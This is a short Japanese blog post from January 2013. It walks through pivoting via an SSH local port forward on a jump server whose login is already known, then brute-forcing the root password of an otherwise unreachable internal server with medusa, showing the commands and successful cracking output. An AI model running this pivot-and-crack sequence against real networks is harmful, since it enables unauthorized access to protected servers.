2013年1月28日月曜日

ssh ポートフォワードを使ってリモートマシンにパスワードクラック

ssh ポートフォワードを使用して外部から直接接続できないサーバ等へのパスワードクラック。
登場する端末とサーバは次のとおり。

client:手元の端末 192.168.1.100
proxy:踏み台サーバ 192.168.1.200
server:攻撃対象のサーバ 192.168.1.80
シナリオとしては、proxy の ssh へログイン可能なユーザ ID とパスワードはわかっている状態で client から ssh 接続可能な環境。proxy の ssh_config にて AllowTcpForwarding yes が設定されているものとする。
攻撃対象の server は proxy からのみアクセスを受け付けるため client からは一切アクセスできない。

まずは ssh などで client から server へアクセスさせる。
client と proxy の間で ssh トンネルを張った後に client の port 10000 を使って server の port 22 へアクセスさせる。
トンネルを構築するためのコマンドは次の通り。

ssh -L 10000:192.168.1.80:22 192.168.1.200
コマンドが正常に実行されるとパスワードが聞かれ、入力すると proxy とのトンネルが張られた状態になる。
この状態では ssh のコマンドプロンプトが開きっぱなしになる。複数のトンネルを張る場合などバックグラウンド処理させるためには以下のように -N -f オプションをつける。

ssh -N -f -L 10000:192.168.1.80:22 192.168.1.200
基本的にこの port 10000 は localhost でしか使えない。他の端末などから接続させたい場合には -g オプションが必要になる。
ポートフォワードの設定がされると client のポート 10000 が待ち状態になる。

root@bt:~# netstat -nap | grep 10000
tcp        0      0 127.0.0.1:10000         0.0.0.0:*               LISTEN      2468/ssh 
ここで client にて下記のようにコマンドを実行すると server へ ssh 接続できる。

ssh -p 10000 localhost
client から ssh で server まで接続できることがわかればまずは medusa でパスワードクラック。
medusa で使用する場合は ssh モジュールを port 10000 で使用するので -n で指定、-h localhost で実行すると失敗したので 127.0.0.1 で実行する。

root@bt:~# medusa -u root -p password123 -h 127.0.0.1 -M ssh -n 10000
Medusa v2.1.1 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks 

ACCOUNT CHECK: [ssh] Host: 127.0.0.1 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: password123 (1 of 1 complete)
ACCOUNT FOUND: [ssh] Host: 127.0.0.1 User: root Password: password123 [SUCCESS]
これで、外部から直接アクセスできないサーバへのパスワードクラックが可能。

0 件のコメント:

コメントを投稿